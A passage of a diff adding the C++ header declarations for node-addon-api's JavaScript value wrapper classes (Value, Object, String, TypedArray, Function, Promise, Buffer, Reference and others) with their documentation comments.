/// Tests if this value strictly equals another value. + bool StrictEquals(const Value& other) const; + + /// Gets the environment the value is associated with. + Napi::Env Env() const; + + /// Checks if the value is empty (uninitialized). + /// + /// An empty value is invalid, and most attempts to perform an operation on an + /// empty value will result in an exception. Note an empty value is distinct + /// from JavaScript `null` or `undefined`, which are valid values. + /// + /// When C++ exceptions are disabled at compile time, a method with a `Value` + /// return type may return an empty value to indicate a pending exception. So + /// when not using C++ exceptions, callers should check whether the value is + /// empty before attempting to use it. + bool IsEmpty() const; + + napi_valuetype Type() const; ///< Gets the type of the value. + + bool IsUndefined() + const; ///< Tests if a value is an undefined JavaScript value. + bool IsNull() const; ///< Tests if a value is a null JavaScript value. + bool IsBoolean() const; ///< Tests if a value is a JavaScript boolean. + bool IsNumber() const; ///< Tests if a value is a JavaScript number. +#if NAPI_VERSION > 5 + bool IsBigInt() const; ///< Tests if a value is a JavaScript bigint. +#endif // NAPI_VERSION > 5 +#if (NAPI_VERSION > 4) + bool IsDate() const; ///< Tests if a value is a JavaScript date. +#endif + bool IsString() const; ///< Tests if a value is a JavaScript string. + bool IsSymbol() const; ///< Tests if a value is a JavaScript symbol. + bool IsArray() const; ///< Tests if a value is a JavaScript array. + bool IsArrayBuffer() + const; ///< Tests if a value is a JavaScript array buffer. + bool IsTypedArray() const; ///< Tests if a value is a JavaScript typed array. + bool IsObject() const; ///< Tests if a value is a JavaScript object. + bool IsFunction() const; ///< Tests if a value is a JavaScript function. + bool IsPromise() const; ///< Tests if a value is a JavaScript promise. + bool IsDataView() const; ///< Tests if a value is a JavaScript data view. + bool IsBuffer() const; ///< Tests if a value is a Node buffer. + bool IsExternal() const; ///< Tests if a value is a pointer to external data. + + /// Casts to another type of `Napi::Value`, when the actual type is known or + /// assumed. + /// + /// This conversion does NOT coerce the type. Calling any methods + /// inappropriate for the actual value type will throw `Napi::Error`. + /// + /// If `NODE_ADDON_API_ENABLE_TYPE_CHECK_ON_AS` is defined, this method + /// asserts that the actual type is the expected type. + template + T As() const; + + MaybeOrValue ToBoolean() + const; ///< Coerces a value to a JavaScript boolean. + MaybeOrValue ToNumber() + const; ///< Coerces a value to a JavaScript number. + MaybeOrValue ToString() + const; ///< Coerces a value to a JavaScript string. + MaybeOrValue ToObject() + const; ///< Coerces a value to a JavaScript object. + + protected: + /// !cond INTERNAL + napi_env _env; + napi_value _value; + /// !endcond +}; + +/// A JavaScript boolean value. +class Boolean : public Value { + public: + static Boolean New(napi_env env, ///< Node-API environment + bool value ///< Boolean value + ); + + static void CheckCast(napi_env env, napi_value value); + + Boolean(); ///< Creates a new _empty_ Boolean instance. + Boolean(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + operator bool() const; ///< Converts a Boolean value to a boolean primitive. + bool Value() const; ///< Converts a Boolean value to a boolean primitive. +}; + +/// A JavaScript number value. +class Number : public Value { + public: + static Number New(napi_env env, ///< Node-API environment + double value ///< Number value + ); + + static void CheckCast(napi_env env, napi_value value); + + Number(); ///< Creates a new _empty_ Number instance. + Number(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + operator int32_t() + const; ///< Converts a Number value to a 32-bit signed integer value. + operator uint32_t() + const; ///< Converts a Number value to a 32-bit unsigned integer value. + operator int64_t() + const; ///< Converts a Number value to a 64-bit signed integer value. + operator float() + const; ///< Converts a Number value to a 32-bit floating-point value. + operator double() + const; ///< Converts a Number value to a 64-bit floating-point value. + + int32_t Int32Value() + const; ///< Converts a Number value to a 32-bit signed integer value. + uint32_t Uint32Value() + const; ///< Converts a Number value to a 32-bit unsigned integer value. + int64_t Int64Value() + const; ///< Converts a Number value to a 64-bit signed integer value. + float FloatValue() + const; ///< Converts a Number value to a 32-bit floating-point value. + double DoubleValue() + const; ///< Converts a Number value to a 64-bit floating-point value. +}; + +#if NAPI_VERSION > 5 +/// A JavaScript bigint value. +class BigInt : public Value { + public: + static BigInt New(napi_env env, ///< Node-API environment + int64_t value ///< Number value + ); + static BigInt New(napi_env env, ///< Node-API environment + uint64_t value ///< Number value + ); + + /// Creates a new BigInt object using a specified sign bit and a + /// specified list of digits/words. + /// The resulting number is calculated as: + /// (-1)^sign_bit * (words[0] * (2^64)^0 + words[1] * (2^64)^1 + ...) + static BigInt New(napi_env env, ///< Node-API environment + int sign_bit, ///< Sign bit. 1 if negative. + size_t word_count, ///< Number of words in array + const uint64_t* words ///< Array of words + ); + + static void CheckCast(napi_env env, napi_value value); + + BigInt(); ///< Creates a new _empty_ BigInt instance. + BigInt(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + int64_t Int64Value(bool* lossless) + const; ///< Converts a BigInt value to a 64-bit signed integer value. + uint64_t Uint64Value(bool* lossless) + const; ///< Converts a BigInt value to a 64-bit unsigned integer value. + + size_t WordCount() const; ///< The number of 64-bit words needed to store + ///< the result of ToWords(). + + /// Writes the contents of this BigInt to a specified memory location. + /// `sign_bit` must be provided and will be set to 1 if this BigInt is + /// negative. + /// `*word_count` has to be initialized to the length of the `words` array. + /// Upon return, it will be set to the actual number of words that would + /// be needed to store this BigInt (i.e. the return value of `WordCount()`). + void ToWords(int* sign_bit, size_t* word_count, uint64_t* words); +}; +#endif // NAPI_VERSION > 5 + +#if (NAPI_VERSION > 4) +/// A JavaScript date value. +class Date : public Value { + public: + /// Creates a new Date value from a double primitive. + static Date New(napi_env env, ///< Node-API environment + double value ///< Number value + ); + + static void CheckCast(napi_env env, napi_value value); + + Date(); ///< Creates a new _empty_ Date instance. + Date(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. + operator double() const; ///< Converts a Date value to double primitive + + double ValueOf() const; ///< Converts a Date value to a double primitive. +}; +#endif + +/// A JavaScript string or symbol value (that can be used as a property name). +class Name : public Value { + public: + static void CheckCast(napi_env env, napi_value value); + + Name(); ///< Creates a new _empty_ Name instance. + Name(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. +}; + +/// A JavaScript string value. +class String : public Name { + public: + /// Creates a new String value from a UTF-8 encoded C++ string. + static String New(napi_env env, ///< Node-API environment + const std::string& value ///< UTF-8 encoded C++ string + ); + + /// Creates a new String value from a UTF-16 encoded C++ string. + static String New(napi_env env, ///< Node-API environment + const std::u16string& value ///< UTF-16 encoded C++ string + ); + + /// Creates a new String value from a UTF-8 encoded C string. + static String New( + napi_env env, ///< Node-API environment + const char* value ///< UTF-8 encoded null-terminated C string + ); + + /// Creates a new String value from a UTF-16 encoded C string. + static String New( + napi_env env, ///< Node-API environment + const char16_t* value ///< UTF-16 encoded null-terminated C string + ); + + /// Creates a new String value from a UTF-8 encoded C string with specified + /// length. + static String New(napi_env env, ///< Node-API environment + const char* value, ///< UTF-8 encoded C string (not + ///< necessarily null-terminated) + size_t length ///< length of the string in bytes + ); + + /// Creates a new String value from a UTF-16 encoded C string with specified + /// length. + static String New( + napi_env env, ///< Node-API environment + const char16_t* value, ///< UTF-16 encoded C string (not necessarily + ///< null-terminated) + size_t length ///< Length of the string in 2-byte code units + ); + + /// Creates a new String based on the original object's type. + /// + /// `value` may be any of: + /// - const char* (encoded using UTF-8, null-terminated) + /// - const char16_t* (encoded using UTF-16-LE, null-terminated) + /// - std::string (encoded using UTF-8) + /// - std::u16string + template + static String From(napi_env env, const T& value); + + static void CheckCast(napi_env env, napi_value value); + + String(); ///< Creates a new _empty_ String instance. + String(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + operator std::string() + const; ///< Converts a String value to a UTF-8 encoded C++ string. + operator std::u16string() + const; ///< Converts a String value to a UTF-16 encoded C++ string. + std::string Utf8Value() + const; ///< Converts a String value to a UTF-8 encoded C++ string. + std::u16string Utf16Value() + const; ///< Converts a String value to a UTF-16 encoded C++ string. +}; + +/// A JavaScript symbol value. +class Symbol : public Name { + public: + /// Creates a new Symbol value with an optional description. + static Symbol New( + napi_env env, ///< Node-API environment + const char* description = + nullptr ///< Optional UTF-8 encoded null-terminated C string + /// describing the symbol + ); + + /// Creates a new Symbol value with a description. + static Symbol New( + napi_env env, ///< Node-API environment + const std::string& + description ///< UTF-8 encoded C++ string describing the symbol + ); + + /// Creates a new Symbol value with a description. + static Symbol New(napi_env env, ///< Node-API environment + String description ///< String value describing the symbol + ); + + /// Creates a new Symbol value with a description. + static Symbol New( + napi_env env, ///< Node-API environment + napi_value description ///< String value describing the symbol + ); + + /// Get a public Symbol (e.g. Symbol.iterator). + static MaybeOrValue WellKnown(napi_env, const std::string& name); + + // Create a symbol in the global registry, UTF-8 Encoded cpp string + static MaybeOrValue For(napi_env env, const std::string& description); + + // Create a symbol in the global registry, C style string (null terminated) + static MaybeOrValue For(napi_env env, const char* description); + + // Create a symbol in the global registry, String value describing the symbol + static MaybeOrValue For(napi_env env, String description); + + // Create a symbol in the global registry, napi_value describing the symbol + static MaybeOrValue For(napi_env env, napi_value description); + + static void CheckCast(napi_env env, napi_value value); + + Symbol(); ///< Creates a new _empty_ Symbol instance. + Symbol(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. +}; + +class TypeTaggable : public Value { + public: +#if NAPI_VERSION >= 8 + void TypeTag(const napi_type_tag* type_tag) const; + bool CheckTypeTag(const napi_type_tag* type_tag) const; +#endif // NAPI_VERSION >= 8 + protected: + TypeTaggable(); + TypeTaggable(napi_env env, napi_value value); +}; + +/// A JavaScript object value. +class Object : public TypeTaggable { + public: + /// Enables property and element assignments using indexing syntax. + /// + /// This is a convenient helper to get and set object properties. As + /// getting and setting object properties may throw with JavaScript + /// exceptions, it is notable that these operations may fail. + /// When NODE_ADDON_API_ENABLE_MAYBE is defined, the process will abort + /// on JavaScript exceptions. + /// + /// Example: + /// + /// Napi::Value propertyValue = object1['A']; + /// object2['A'] = propertyValue; + /// Napi::Value elementValue = array[0]; + /// array[1] = elementValue; + template + class PropertyLValue { + public: + /// Converts an L-value to a value. + operator Value() const; + + /// Assigns a value to the property. The type of value can be + /// anything supported by `Object::Set`. + template + PropertyLValue& operator=(ValueType value); + + private: + PropertyLValue() = delete; + PropertyLValue(Object object, Key key); + napi_env _env; + napi_value _object; + Key _key; + + friend class Napi::Object; + }; + + /// Creates a new Object value. + static Object New(napi_env env ///< Node-API environment + ); + + static void CheckCast(napi_env env, napi_value value); + + Object(); ///< Creates a new _empty_ Object instance. + Object(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + /// Gets or sets a named property. + PropertyLValue operator[]( + const char* utf8name ///< UTF-8 encoded null-terminated property name + ); + + /// Gets or sets a named property. + PropertyLValue operator[]( + const std::string& utf8name ///< UTF-8 encoded property name + ); + + /// Gets or sets an indexed property or array element. + PropertyLValue operator[]( + uint32_t index /// Property / element index + ); + + /// Gets or sets an indexed property or array element. + PropertyLValue operator[](Value index /// Property / element index + ) const; + + /// Gets a named property. + MaybeOrValue operator[]( + const char* utf8name ///< UTF-8 encoded null-terminated property name + ) const; + + /// Gets a named property. + MaybeOrValue operator[]( + const std::string& utf8name ///< UTF-8 encoded property name + ) const; + + /// Gets an indexed property or array element. + MaybeOrValue operator[](uint32_t index ///< Property / element index + ) const; + + /// Checks whether a property is present. + MaybeOrValue Has(napi_value key ///< Property key primitive + ) const; + + /// Checks whether a property is present. + MaybeOrValue Has(Value key ///< Property key + ) const; + + /// Checks whether a named property is present. + MaybeOrValue Has( + const char* utf8name ///< UTF-8 encoded null-terminated property name + ) const; + + /// Checks whether a named property is present. + MaybeOrValue Has( + const std::string& utf8name ///< UTF-8 encoded property name + ) const; + + /// Checks whether a own property is present. + MaybeOrValue HasOwnProperty(napi_value key ///< Property key primitive + ) const; + + /// Checks whether a own property is present. + MaybeOrValue HasOwnProperty(Value key ///< Property key + ) const; + + /// Checks whether a own property is present. + MaybeOrValue HasOwnProperty( + const char* utf8name ///< UTF-8 encoded null-terminated property name + ) const; + + /// Checks whether a own property is present. + MaybeOrValue HasOwnProperty( + const std::string& utf8name ///< UTF-8 encoded property name + ) const; + + /// Gets a property. + MaybeOrValue Get(napi_value key ///< Property key primitive + ) const; + + /// Gets a property. + MaybeOrValue Get(Value key ///< Property key + ) const; + + /// Gets a named property. + MaybeOrValue Get( + const char* utf8name ///< UTF-8 encoded null-terminated property name + ) const; + + /// Gets a named property. + MaybeOrValue Get( + const std::string& utf8name ///< UTF-8 encoded property name + ) const; + + /// Sets a property. + template + MaybeOrValue Set(napi_value key, ///< Property key primitive + const ValueType& value ///< Property value primitive + ) const; + + /// Sets a property. + template + MaybeOrValue Set(Value key, ///< Property key + const ValueType& value ///< Property value + ) const; + + /// Sets a named property. + template + MaybeOrValue Set( + const char* utf8name, ///< UTF-8 encoded null-terminated property name + const ValueType& value) const; + + /// Sets a named property. + template + MaybeOrValue Set( + const std::string& utf8name, ///< UTF-8 encoded property name + const ValueType& value ///< Property value primitive + ) const; + + /// Delete property. + MaybeOrValue Delete(napi_value key ///< Property key primitive + ) const; + + /// Delete property. + MaybeOrValue Delete(Value key ///< Property key + ) const; + + /// Delete property. + MaybeOrValue Delete( + const char* utf8name ///< UTF-8 encoded null-terminated property name + ) const; + + /// Delete property. + MaybeOrValue Delete( + const std::string& utf8name ///< UTF-8 encoded property name + ) const; + + /// Checks whether an indexed property is present. + MaybeOrValue Has(uint32_t index ///< Property / element index + ) const; + + /// Gets an indexed property or array element. + MaybeOrValue Get(uint32_t index ///< Property / element index + ) const; + + /// Sets an indexed property or array element. + template + MaybeOrValue Set(uint32_t index, ///< Property / element index + const ValueType& value ///< Property value primitive + ) const; + + /// Deletes an indexed property or array element. + MaybeOrValue Delete(uint32_t index ///< Property / element index + ) const; + + /// This operation can fail in case of Proxy.[[OwnPropertyKeys]] and + /// Proxy.[[GetOwnProperty]] calling into JavaScript. See: + /// - + /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys + /// - + /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p + MaybeOrValue GetPropertyNames() const; ///< Get all property names + + /// Defines a property on the object. + /// + /// This operation can fail in case of Proxy.[[DefineOwnProperty]] calling + /// into JavaScript. See + /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc + MaybeOrValue DefineProperty( + const PropertyDescriptor& + property ///< Descriptor for the property to be defined + ) const; + + /// Defines properties on the object. + /// + /// This operation can fail in case of Proxy.[[DefineOwnProperty]] calling + /// into JavaScript. See + /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc + MaybeOrValue DefineProperties( + const std::initializer_list& properties + ///< List of descriptors for the properties to be defined + ) const; + + /// Defines properties on the object. + /// + /// This operation can fail in case of Proxy.[[DefineOwnProperty]] calling + /// into JavaScript. See + /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc + MaybeOrValue DefineProperties( + const std::vector& properties + ///< Vector of descriptors for the properties to be defined + ) const; + + /// Checks if an object is an instance created by a constructor function. + /// + /// This is equivalent to the JavaScript `instanceof` operator. + /// + /// This operation can fail in case of Proxy.[[GetPrototypeOf]] calling into + /// JavaScript. + /// See + /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof + MaybeOrValue InstanceOf( + const Function& constructor ///< Constructor function + ) const; + + template + inline void AddFinalizer(Finalizer finalizeCallback, T* data) const; + + template + inline void AddFinalizer(Finalizer finalizeCallback, + T* data, + Hint* finalizeHint) const; + +#ifdef NAPI_CPP_EXCEPTIONS + class const_iterator; + + inline const_iterator begin() const; + + inline const_iterator end() const; + + class iterator; + + inline iterator begin(); + + inline iterator end(); +#endif // NAPI_CPP_EXCEPTIONS + +#if NAPI_VERSION >= 8 + /// This operation can fail in case of Proxy.[[GetPrototypeOf]] calling into + /// JavaScript. + /// See + /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof + MaybeOrValue Freeze() const; + /// This operation can fail in case of Proxy.[[GetPrototypeOf]] calling into + /// JavaScript. + /// See + /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof + MaybeOrValue Seal() const; +#endif // NAPI_VERSION >= 8 +}; + +template +class External : public TypeTaggable { + public: + static External New(napi_env env, T* data); + + // Finalizer must implement `void operator()(Env env, T* data)`. + template + static External New(napi_env env, T* data, Finalizer finalizeCallback); + // Finalizer must implement `void operator()(Env env, T* data, Hint* hint)`. + template + static External New(napi_env env, + T* data, + Finalizer finalizeCallback, + Hint* finalizeHint); + + static void CheckCast(napi_env env, napi_value value); + + External(); + External(napi_env env, napi_value value); + + T* Data() const; +}; + +class Array : public Object { + public: + static Array New(napi_env env); + static Array New(napi_env env, size_t length); + + static void CheckCast(napi_env env, napi_value value); + + Array(); + Array(napi_env env, napi_value value); + + uint32_t Length() const; +}; + +#ifdef NAPI_CPP_EXCEPTIONS +class Object::const_iterator { + private: + enum class Type { BEGIN, END }; + + inline const_iterator(const Object* object, const Type type); + + public: + inline const_iterator& operator++(); + + inline bool operator==(const const_iterator& other) const; + + inline bool operator!=(const const_iterator& other) const; + + inline const std::pair> operator*() + const; + + private: + const Napi::Object* _object; + Array _keys; + uint32_t _index; + + friend class Object; +}; + +class Object::iterator { + private: + enum class Type { BEGIN, END }; + + inline iterator(Object* object, const Type type); + + public: + inline iterator& operator++(); + + inline bool operator==(const iterator& other) const; + + inline bool operator!=(const iterator& other) const; + + inline std::pair> operator*(); + + private: + Napi::Object* _object; + Array _keys; + uint32_t _index; + + friend class Object; +}; +#endif // NAPI_CPP_EXCEPTIONS + +/// A JavaScript array buffer value. +class ArrayBuffer : public Object { + public: + /// Creates a new ArrayBuffer instance over a new automatically-allocated + /// buffer. + static ArrayBuffer New( + napi_env env, ///< Node-API environment + size_t byteLength ///< Length of the buffer to be allocated, in bytes + ); + +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + /// Creates a new ArrayBuffer instance, using an external buffer with + /// specified byte length. + static ArrayBuffer New( + napi_env env, ///< Node-API environment + void* externalData, ///< Pointer to the external buffer to be used by + ///< the array + size_t byteLength ///< Length of the external buffer to be used by the + ///< array, in bytes + ); + + /// Creates a new ArrayBuffer instance, using an external buffer with + /// specified byte length. + template + static ArrayBuffer New( + napi_env env, ///< Node-API environment + void* externalData, ///< Pointer to the external buffer to be used by + ///< the array + size_t byteLength, ///< Length of the external buffer to be used by the + ///< array, + /// in bytes + Finalizer finalizeCallback ///< Function to be called when the array + ///< buffer is destroyed; + /// must implement `void operator()(Env env, + /// void* externalData)` + ); + + /// Creates a new ArrayBuffer instance, using an external buffer with + /// specified byte length. + template + static ArrayBuffer New( + napi_env env, ///< Node-API environment + void* externalData, ///< Pointer to the external buffer to be used by + ///< the array + size_t byteLength, ///< Length of the external buffer to be used by the + ///< array, + /// in bytes + Finalizer finalizeCallback, ///< Function to be called when the array + ///< buffer is destroyed; + /// must implement `void operator()(Env + /// env, void* externalData, Hint* hint)` + Hint* finalizeHint ///< Hint (second parameter) to be passed to the + ///< finalize callback + ); +#endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + + static void CheckCast(napi_env env, napi_value value); + + ArrayBuffer(); ///< Creates a new _empty_ ArrayBuffer instance. + ArrayBuffer(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + void* Data(); ///< Gets a pointer to the data buffer. + size_t ByteLength(); ///< Gets the length of the array buffer in bytes. + +#if NAPI_VERSION >= 7 + bool IsDetached() const; + void Detach(); +#endif // NAPI_VERSION >= 7 +}; + +/// A JavaScript typed-array value with unknown array type. +/// +/// For type-specific operations, cast to a `TypedArrayOf` instance using the +/// `As()` method: +/// +/// Napi::TypedArray array = ... +/// if (t.TypedArrayType() == napi_int32_array) { +/// Napi::Int32Array int32Array = t.As(); +/// } +class TypedArray : public Object { + public: + static void CheckCast(napi_env env, napi_value value); + + TypedArray(); ///< Creates a new _empty_ TypedArray instance. + TypedArray(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + napi_typedarray_type TypedArrayType() + const; ///< Gets the type of this typed-array. + Napi::ArrayBuffer ArrayBuffer() const; ///< Gets the backing array buffer. + + uint8_t ElementSize() + const; ///< Gets the size in bytes of one element in the array. + size_t ElementLength() const; ///< Gets the number of elements in the array. + size_t ByteOffset() + const; ///< Gets the offset into the buffer where the array starts. + size_t ByteLength() const; ///< Gets the length of the array in bytes. + + protected: + /// !cond INTERNAL + napi_typedarray_type _type; + size_t _length; + + TypedArray(napi_env env, + napi_value value, + napi_typedarray_type type, + size_t length); + + template + static +#if defined(NAPI_HAS_CONSTEXPR) + constexpr +#endif + napi_typedarray_type + TypedArrayTypeForPrimitiveType() { + return std::is_same::value ? napi_int8_array + : std::is_same::value ? napi_uint8_array + : std::is_same::value ? napi_int16_array + : std::is_same::value ? napi_uint16_array + : std::is_same::value ? napi_int32_array + : std::is_same::value ? napi_uint32_array + : std::is_same::value ? napi_float32_array + : std::is_same::value ? napi_float64_array +#if NAPI_VERSION > 5 + : std::is_same::value ? napi_bigint64_array + : std::is_same::value ? napi_biguint64_array +#endif // NAPI_VERSION > 5 + : napi_int8_array; + } + /// !endcond +}; + +/// A JavaScript typed-array value with known array type. +/// +/// Note while it is possible to create and access Uint8 "clamped" arrays using +/// this class, the _clamping_ behavior is only applied in JavaScript. +template +class TypedArrayOf : public TypedArray { + public: + /// Creates a new TypedArray instance over a new automatically-allocated array + /// buffer. + /// + /// The array type parameter can normally be omitted (because it is inferred + /// from the template parameter T), except when creating a "clamped" array: + /// + /// Uint8Array::New(env, length, napi_uint8_clamped_array) + static TypedArrayOf New( + napi_env env, ///< Node-API environment + size_t elementLength, ///< Length of the created array, as a number of + ///< elements +#if defined(NAPI_HAS_CONSTEXPR) + napi_typedarray_type type = + TypedArray::TypedArrayTypeForPrimitiveType() +#else + napi_typedarray_type type +#endif + ///< Type of array, if different from the default array type for the + ///< template parameter T. + ); + + /// Creates a new TypedArray instance over a provided array buffer. + /// + /// The array type parameter can normally be omitted (because it is inferred + /// from the template parameter T), except when creating a "clamped" array: + /// + /// Uint8Array::New(env, length, buffer, 0, napi_uint8_clamped_array) + static TypedArrayOf New( + napi_env env, ///< Node-API environment + size_t elementLength, ///< Length of the created array, as a number of + ///< elements + Napi::ArrayBuffer arrayBuffer, ///< Backing array buffer instance to use + size_t bufferOffset, ///< Offset into the array buffer where the + ///< typed-array starts +#if defined(NAPI_HAS_CONSTEXPR) + napi_typedarray_type type = + TypedArray::TypedArrayTypeForPrimitiveType() +#else + napi_typedarray_type type +#endif + ///< Type of array, if different from the default array type for the + ///< template parameter T. + ); + + static void CheckCast(napi_env env, napi_value value); + + TypedArrayOf(); ///< Creates a new _empty_ TypedArrayOf instance. + TypedArrayOf(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + T& operator[](size_t index); ///< Gets or sets an element in the array. + const T& operator[](size_t index) const; ///< Gets an element in the array. + + /// Gets a pointer to the array's backing buffer. + /// + /// This is not necessarily the same as the `ArrayBuffer::Data()` pointer, + /// because the typed-array may have a non-zero `ByteOffset()` into the + /// `ArrayBuffer`. + T* Data(); + + /// Gets a pointer to the array's backing buffer. + /// + /// This is not necessarily the same as the `ArrayBuffer::Data()` pointer, + /// because the typed-array may have a non-zero `ByteOffset()` into the + /// `ArrayBuffer`. + const T* Data() const; + + private: + T* _data; + + TypedArrayOf(napi_env env, + napi_value value, + napi_typedarray_type type, + size_t length, + T* data); +}; + +/// The DataView provides a low-level interface for reading/writing multiple +/// number types in an ArrayBuffer irrespective of the platform's endianness. +class DataView : public Object { + public: + static DataView New(napi_env env, Napi::ArrayBuffer arrayBuffer); + static DataView New(napi_env env, + Napi::ArrayBuffer arrayBuffer, + size_t byteOffset); + static DataView New(napi_env env, + Napi::ArrayBuffer arrayBuffer, + size_t byteOffset, + size_t byteLength); + + static void CheckCast(napi_env env, napi_value value); + + DataView(); ///< Creates a new _empty_ DataView instance. + DataView(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + Napi::ArrayBuffer ArrayBuffer() const; ///< Gets the backing array buffer. + size_t ByteOffset() + const; ///< Gets the offset into the buffer where the array starts. + size_t ByteLength() const; ///< Gets the length of the array in bytes. + + void* Data() const; + + float GetFloat32(size_t byteOffset) const; + double GetFloat64(size_t byteOffset) const; + int8_t GetInt8(size_t byteOffset) const; + int16_t GetInt16(size_t byteOffset) const; + int32_t GetInt32(size_t byteOffset) const; + uint8_t GetUint8(size_t byteOffset) const; + uint16_t GetUint16(size_t byteOffset) const; + uint32_t GetUint32(size_t byteOffset) const; + + void SetFloat32(size_t byteOffset, float value) const; + void SetFloat64(size_t byteOffset, double value) const; + void SetInt8(size_t byteOffset, int8_t value) const; + void SetInt16(size_t byteOffset, int16_t value) const; + void SetInt32(size_t byteOffset, int32_t value) const; + void SetUint8(size_t byteOffset, uint8_t value) const; + void SetUint16(size_t byteOffset, uint16_t value) const; + void SetUint32(size_t byteOffset, uint32_t value) const; + + private: + template + T ReadData(size_t byteOffset) const; + + template + void WriteData(size_t byteOffset, T value) const; + + void* _data; + size_t _length; +}; + +class Function : public Object { + public: + using VoidCallback = void (*)(const CallbackInfo& info); + using Callback = Value (*)(const CallbackInfo& info); + + template + static Function New(napi_env env, + const char* utf8name = nullptr, + void* data = nullptr); + + template + static Function New(napi_env env, + const char* utf8name = nullptr, + void* data = nullptr); + + template + static Function New(napi_env env, + const std::string& utf8name, + void* data = nullptr); + + template + static Function New(napi_env env, + const std::string& utf8name, + void* data = nullptr); + + /// Callable must implement operator() accepting a const CallbackInfo& + /// and return either void or Value. + template + static Function New(napi_env env, + Callable cb, + const char* utf8name = nullptr, + void* data = nullptr); + /// Callable must implement operator() accepting a const CallbackInfo& + /// and return either void or Value. + template + static Function New(napi_env env, + Callable cb, + const std::string& utf8name, + void* data = nullptr); + + static void CheckCast(napi_env env, napi_value value); + + Function(); + Function(napi_env env, napi_value value); + + MaybeOrValue operator()( + const std::initializer_list& args) const; + + MaybeOrValue Call(const std::initializer_list& args) const; + MaybeOrValue Call(const std::vector& args) const; + MaybeOrValue Call(const std::vector& args) const; + MaybeOrValue Call(size_t argc, const napi_value* args) const; + MaybeOrValue Call(napi_value recv, + const std::initializer_list& args) const; + MaybeOrValue Call(napi_value recv, + const std::vector& args) const; + MaybeOrValue Call(napi_value recv, + const std::vector& args) const; + MaybeOrValue Call(napi_value recv, + size_t argc, + const napi_value* args) const; + + MaybeOrValue MakeCallback( + napi_value recv, + const std::initializer_list& args, + napi_async_context context = nullptr) const; + MaybeOrValue MakeCallback(napi_value recv, + const std::vector& args, + napi_async_context context = nullptr) const; + MaybeOrValue MakeCallback(napi_value recv, + size_t argc, + const napi_value* args, + napi_async_context context = nullptr) const; + + MaybeOrValue New(const std::initializer_list& args) const; + MaybeOrValue New(const std::vector& args) const; + MaybeOrValue New(size_t argc, const napi_value* args) const; +}; + +class Promise : public Object { + public: + class Deferred { + public: + static Deferred New(napi_env env); + Deferred(napi_env env); + + Napi::Promise Promise() const; + Napi::Env Env() const; + + void Resolve(napi_value value) const; + void Reject(napi_value value) const; + + private: + napi_env _env; + napi_deferred _deferred; + napi_value _promise; + }; + + static void CheckCast(napi_env env, napi_value value); + + Promise(napi_env env, napi_value value); +}; + +template +class Buffer : public Uint8Array { + public: + static Buffer New(napi_env env, size_t length); +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + static Buffer New(napi_env env, T* data, size_t length); + + // Finalizer must implement `void operator()(Env env, T* data)`. + template + static Buffer New(napi_env env, + T* data, + size_t length, + Finalizer finalizeCallback); + // Finalizer must implement `void operator()(Env env, T* data, Hint* hint)`. + template + static Buffer New(napi_env env, + T* data, + size_t length, + Finalizer finalizeCallback, + Hint* finalizeHint); +#endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + + static Buffer NewOrCopy(napi_env env, T* data, size_t length); + // Finalizer must implement `void operator()(Env env, T* data)`. + template + static Buffer NewOrCopy(napi_env env, + T* data, + size_t length, + Finalizer finalizeCallback); + // Finalizer must implement `void operator()(Env env, T* data, Hint* hint)`. + template + static Buffer NewOrCopy(napi_env env, + T* data, + size_t length, + Finalizer finalizeCallback, + Hint* finalizeHint); + + static Buffer Copy(napi_env env, const T* data, size_t length); + + static void CheckCast(napi_env env, napi_value value); + + Buffer(); + Buffer(napi_env env, napi_value value); + size_t Length() const; + T* Data() const; + + private: + mutable size_t _length; + mutable T* _data; + + Buffer(napi_env env, napi_value value, size_t length, T* data); + void EnsureInfo() const; +}; + +/// Holds a counted reference to a value; initially a weak reference unless +/// otherwise specified, may be changed to/from a strong reference by adjusting +/// the refcount. +/// +/// The referenced value is not immediately destroyed when the reference count +/// is zero; it is merely then eligible for garbage-collection if there are no +/// other references to the value. +template +class Reference { + public: + static Reference New(const T& value, uint32_t initialRefcount = 0); + + Reference(); + Reference(napi_env env, napi_ref ref); + ~Reference(); + + // A reference can be moved but cannot be copied. + Reference(Reference&& other); + Reference& operator=(Reference&& other); + NAPI_DISALLOW_ASSIGN(Reference) + + operator napi_ref() const; + bool operator==(const Reference& other) const; + bool operator!=(const Reference& other) const; + + Napi::Env Env() const; + bool IsEmpty() const; + + // Note when getting the value of a Reference it is usually correct to do so + // within a HandleScope so that the value handle gets cleaned up efficiently. + T Value() const; + + uint32_t Ref() const; + uint32_t Unref() const; + void Reset(); + void Reset(const T& value, uint32_t refcount = 0); + + // Call this on a reference that is declared as static data, to prevent its + // destructor from running at program shutdown time, which would attempt to + // reset the reference when the environment is no longer valid. Avoid using + // this if at all possible. If you do need to use static data, MAKE SURE to + // warn your users that your addon is NOT threadsafe. + void SuppressDestruct(); + + protected: + Reference(const Reference&); + + /// !cond INTERNAL + napi_env _env; + napi_ref _ref; + /// !endcond + + private: + bool _suppressDestruct; +}; + +class 